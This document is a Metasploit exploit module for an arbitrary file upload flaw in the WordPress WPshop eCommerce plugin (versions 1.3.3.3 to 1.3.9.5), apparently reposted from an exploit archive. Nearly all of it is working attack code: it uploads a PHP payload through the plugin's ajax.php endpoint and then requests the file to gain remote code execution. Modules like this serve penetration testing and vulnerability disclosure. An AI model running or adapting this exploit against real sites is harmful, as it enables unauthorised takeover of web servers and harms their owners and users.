WordPress WPshop eCommerce 1.3.9.5 Shell Upload

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WPshop eCommerce Arbitrary File Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress WPshop eCommerce plugin
from version 1.3.3.3 to 1.3.9.5. It allows to upload arbitrary PHP code and get remote
code execution. This module has been tested successfully on WordPress WPshop eCommerce
1.3.9.5 with WordPress 4.1.3 on Ubuntu 14.04 Server.
},
'Author' =>
[
'g0blin', # Vulnerability Discovery, initial msf module
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module Pull Request
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '7830'],
['URL', 'https://research.g0blin.co.uk/g0blin-00036/']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WPshop eCommerce 1.3.9.5', {}]],
'DisclosureDate' => 'Mar 09 2015',
'DefaultTarget' => 0)
)
end

def check
check_plugin_version_from_readme('wpshop', '1.3.9.6', '1.3.3.3')
end

def exploit
php_page_name = rand_text_alpha(5 + rand(5)) + '.php'

data = Rex::MIME::Message.new
data.add_part('ajaxUpload', nil, nil, 'form-data; name="elementCode"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"wpshop_file\"; filename=\"#{php_page_name}\"")
post_data = data.to_s

res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'wpshop', 'includes', 'ajax.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)

if res
if res.code == 200 && res.body =~ /#{php_page_name}/
print_good("#{peer} - Payload uploaded as #{php_page_name}")
register_files_for_cleanup(php_page_name)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, "#{peer} - Server did not answer")
end

print_status("#{peer} - Calling payload...")
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', php_page_name) },
5
)
end
end
References:
https://research.g0blin.co.uk/g0blin-00036/